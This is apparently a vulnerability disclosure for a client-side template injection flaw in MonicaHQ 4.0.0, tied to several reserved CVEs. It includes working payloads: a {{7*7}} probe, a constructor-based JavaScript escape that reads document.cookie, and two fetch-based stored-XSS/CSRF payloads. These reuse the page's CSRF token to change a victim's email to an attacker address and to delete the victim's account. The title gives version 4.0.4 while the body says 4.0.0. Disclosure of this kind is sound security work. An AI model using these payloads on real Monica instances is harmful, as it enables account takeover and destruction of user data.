MonicaHQ 4.0.4 - Client Side Template Injection

Description

MonicaHQ version 4.0.0 allows an authenticated remote attacker to execute malicious code in the application. This is possible because the application does not correctly validate the data entered by the user.

Vulnerability

This vulnerability occurs because the application does not correctly validate the data entered by users when creating new contacts within the application, as well as the characteristics of the contacts themselves.

Exploitation

First we create a contact:

After creating the contact you can edit its characteristics. At this point there are many inputs which are vulnerable. The PoC of the exploitation of one of them will be shown but it applies to all the others. In this case we edit the food preference feature. We inject the following payload which interprets:

{{7*7}}

At this point we can say that it is vulnerable to CSTI since we see the value 49 reflected.

Thanks to this it is possible to inject JavaScript code, which is interpreted.

{{{}.toString.constructor('confirm(document.cookie)')()}}

As the XSS is stored, CSRF can be applied to change another user's email address or delete their account.

Evidence of exploitation

CSTI to CSRF Change mail

{{ fetch('http://localhost:8080/settings/save', {
 method: 'POST',
 headers: {
 'Content-Type': 'application/x-www-form-urlencoded'
 },
 body: new URLSearchParams({
 _token: document.querySelector('[name="_token"]').value,
 id: 3,
 first_name: 'test',
 last_name: 'testt',
 email: 'attacker@test.com',
 locale: 'es',
 currency_id: 4,
 temperature_scale: 'celsius',
 timezone: 'Europe/Madrid',
 reminder_time: '12:00',
 name_order: 'firstname_lastname_nickname',
 fluid_container: 1
 })
 })
 .then(res => res.text())
 .then(text => window.location.href = text)
}}

CSTI to CSRF Delete Account

{{
 fetch('http://localhost:8080/settings/delete', {
 method: 'POST',
 headers: {
 'Content-Type': 'application/x-www-form-urlencoded'
 },
 body: '_token=' + document.querySelector('[name="_token"]').value
 })
 .then(res => res.text())
 .then(text => window.location.href = text)
}}

Our security policy

We have reserved the CVE-2023-1031, CVE-2023-1094, CVE-2023-30787, CVE-2023-30788, CVE-2023-30789, CVE-2023-30790 to refer to this issue from now on. Disclosure policy

System Information

• Version: MonicaHQ 4.0.0

• Operating System: GNU/Linux

Mitigation

There is currently no patch available for this vulnerability.

References

• Vendor page https://github.com/monicahq/monica

• Release page https://github.com/monicahq/monica/releases/tag/v4.0.0